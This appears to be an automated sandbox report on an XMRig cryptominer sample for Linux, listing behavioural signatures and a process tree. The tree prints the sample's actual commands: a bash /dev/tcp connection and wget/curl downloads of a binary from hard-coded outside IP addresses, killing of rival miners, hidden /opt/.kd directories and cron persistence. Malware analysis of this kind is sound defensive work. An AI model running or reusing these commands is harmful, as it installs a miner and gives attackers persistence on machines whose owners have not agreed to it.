Analysis
- max time kernel
149s - max time network
147s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20261019-en - resource tags
- submitted
25/10/2026, 04:29
General
- Target 5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
- Size 26KB
- Sample261025-e4kqbsysfw
- SHA256 5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 3 IoCs
- Loads a kernel module 1 IoCs
Loads a Linux kernel module, potentially to achieve persistence
- Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads hardware information 1 TTPs 28 IoCs
Accesses system info like serial numbers, manufacturer names etc.
- Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 47 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4/tmp/5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d41⤵
- Executes dropped EXE
-
/bin/mkdirmkdir -p /var/run/postgresql/.kd2⤵
-
-
/bin/chmodchmod 755 /var/run/postgresql/.kd/.te2⤵
- File and Directory Permissions Modification
-
-
/var/run/postgresql/.kd/.te/var/run/postgresql/.kd/.te2⤵
-
-
/bin/rmrm -f /var/run/postgresql/.kd/.te2⤵
-
-
/bin/mkdirmkdir -p /opt/.kd2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/.te2⤵
- File and Directory Permissions Modification
-
-
/opt/.kd/.te/opt/.kd/.te2⤵
-
-
/bin/rmrm -f /opt/.kd/.te2⤵
-
-
/bin/mkdirmkdir -p /opt/.kd2⤵
-
-
/bin/lsls /proc2⤵
-
-
/bin/grepgrep -E "^[0-9]+\$"2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1006/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1020/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1024/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1029/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1033/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1037/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1041/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1045/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1050/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1054/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1055/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1059/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1062/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1064/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1071/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1074/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1076/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1077/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1085/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1092/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1095/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1098/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1099/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1100/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1103/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1105/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/115/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1153/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1200/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1204/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1255/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1260/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1307/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1315/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1319/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1335/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1341/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1359/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/137/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1388/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1495/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1519/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1522/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1523/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1524/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1526/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1538/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1539/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/1540/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/166/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/167/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/173/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/174/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/175/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/176/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/177/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/178/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/179/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/180/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/181/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/182/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/183/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/210/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/211/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/248/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/277/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/368/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/372/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/438/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/444/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/452/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/453/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/459/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/460/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/463/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/464/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/469/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/471/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/474/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/478/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/488/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/491/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/499/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/529/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/530/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/538/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/547/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/566/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/584/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/606/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/607/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/644/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/650/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/663/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/664/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/666/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/669/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/695/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/712/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/716/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/79/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/80/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/81/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/82/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/83/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/84/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/86/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/877/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/89/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/908/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/913/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/916/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/930/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/935/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/949/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/955/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/969/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/973/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/976/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/978/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/98/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/983/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/993/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/997/exe2⤵
-
-
/usr/bin/pkillpkill -9 -x kdevtmpfsi2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x kinsing2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x pg_mem2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x postgres-kernel2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x zsvc2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x pdefenderd2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -x updatecheckerd2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/rmrm -f /tmp/kdevtmpfsi /var/tmp/kdevtmpfsi /tmp/kinsing /var/tmp/kinsing /tmp/pg_mem /var/tmp/pg_mem /tmp/postgres-kernel /var/tmp/postgres-kernel2⤵
-
-
/bin/grepgrep -icE "kdevtmpfsi|kinsing|pg_mem|postgres-kernel|zsvc|pdefenderd|updatecheckerd"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/nprocnproc2⤵
-
-
/usr/bin/trtr -cd a-zA-Z0-92⤵
-
-
/usr/bin/headhead -c 82⤵
-
-
/bin/hostnamehostname2⤵
-
-
/usr/bin/headhead -c 42⤵
-
-
/bin/catcat /proc/sys/kernel/random/uuid2⤵
-
-
/bin/catcat /sys/fs/cgroup/memory.max2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/catcat /sys/fs/cgroup/memory/memory.limit_in_bytes2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/awkawk "/MemAvailable/{print int(\$2/1024)}" /proc/meminfo2⤵
-
-
/sbin/modprobemodprobe msr2⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
-
-
/usr/bin/timeouttimeout 4 bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"2⤵
-
/usr/local/sbin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/usr/local/bin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/usr/sbin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/usr/bin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/sbin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
/bin/bashbash -c "exec 3<>/dev/tcp/130.94.112.118/10001"3⤵
-
-
-
/usr/bin/curlcurl -sk --max-time 6 -o /dev/null https://89.125.187.222:5432/admin/getClientStatusList2⤵
- Writes file to tmp directory
-
-
/bin/catcat2⤵
-
-
/usr/bin/trtr "\\n" "|"2⤵
-
-
/bin/grepgrep -o "\"worker-id\":\"[^\"]*\"\\|\"url\":\"[^\"]*\"\\|\"max-threads-hint\":[0-9]*" pg_settings.bak2⤵
-
-
/bin/mvmv pg_settings.bak.tmp pg_settings.bak2⤵
-
-
/bin/cpcp -f /opt/.kd/pg_settings.bak /opt/.kd/pg_settings.conf2⤵
-
-
/bin/chmodchmod 600 /opt/.kd/pg_settings.conf2⤵
-
-
/usr/bin/trtr "\\n" "|"2⤵
-
-
/bin/grepgrep -o "\"worker-id\":\"[^\"]*\"\\|\"url\":\"[^\"]*\"\\|\"max-threads-hint\":[0-9]*" pg_settings.bak2⤵
-
-
/bin/catcat2⤵
-
-
/bin/catcat2⤵
-
-
/bin/sedsed -i "s|__D__|/opt/.kd|g" /opt/.kd/wd.sh /opt/.kd/wd2.sh2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/wd.sh /opt/.kd/wd2.sh2⤵
- File and Directory Permissions Modification
-
-
/bin/catcat2⤵
-
-
/bin/sedsed -i "s|__D__|/opt/.kd|g" /opt/.kd/wd3.sh2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/wd3.sh2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -viE "zzcc|catbox|217\\.217\\.233|wpzk6z|j7uu3v|0nh6sx|ev4g3l|fetch_run|run\\.sh|gitlab|metrics-agents|static-assets"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/catcat2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/sd.sh2⤵
- File and Directory Permissions Modification
-
-
/bin/hostnamehostname2⤵
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/usr/bin/cksumcksum2⤵
-
-
/usr/bin/trtr "\\n" " "2⤵
-
-
/usr/bin/headhead -32⤵
-
-
/usr/bin/awkawk -v "h=4017155388" "NR % 16 == h % 16"2⤵
-
-
/usr/bin/trtr " " "\\n"2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -v sysmon-sd2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/unameuname -m2⤵
-
-
/bin/busyboxbusybox wget -q -T 90 -O /opt/.kd/.v.json.1526 http://89.125.187.222:18899/bin/versions.json2⤵
-
-
/usr/bin/wgetwget -q -T 90 -O /opt/.kd/.v.json.1526 http://89.125.187.222:18899/bin/versions.json2⤵
-
-
/usr/bin/curlcurl -s -m 150 -o /opt/.kd/.v.json.1526 http://89.125.187.222:18899/bin/versions.json2⤵
- Writes file to tmp directory
-
-
/bin/mvmv /opt/.kd/.v.json.1526 /opt/.kd/.v.json2⤵
-
-
/usr/bin/trtr -d " \\n\\t"2⤵
-
-
/bin/catcat /opt/.kd/.v.json2⤵
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/ccd2⤵
-
-
/bin/busyboxbusybox wget -q -T 90 -O /opt/.kd/ccd.gz.1526 http://89.125.187.222:18899/bin/agentd-linux-x64.gz2⤵
-
-
/usr/bin/wgetwget -q -T 90 -O /opt/.kd/ccd.gz.1526 http://89.125.187.222:18899/bin/agentd-linux-x64.gz2⤵
-
-
/bin/mvmv /opt/.kd/ccd.gz.1526 /opt/.kd/ccd.gz2⤵
-
-
/usr/bin/headhead -12⤵
-
-
/bin/sedsed -n "s/.*\"agentd-linux-x64.gz\":{\"md5\":\"\\([a-f0-9][a-f0-9]*\\)\".*/\\1/p"2⤵
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/usr/bin/md5summd5sum /opt/.kd/ccd.gz2⤵
-
-
/bin/busyboxbusybox gzip -t /opt/.kd/ccd.gz2⤵
- System Network Configuration Discovery
-
-
/bin/busyboxbusybox gzip -dc /opt/.kd/ccd.gz2⤵
-
-
/bin/chmodchmod 755 /opt/.kd/ccd2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/ccd2⤵
-
-
/bin/rmrm -f /opt/.kd/ccd.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/awkawk "{print \$1}"2⤵
-
-
/usr/bin/wcwc -c /opt/.kd/pg_wal2⤵
-
-
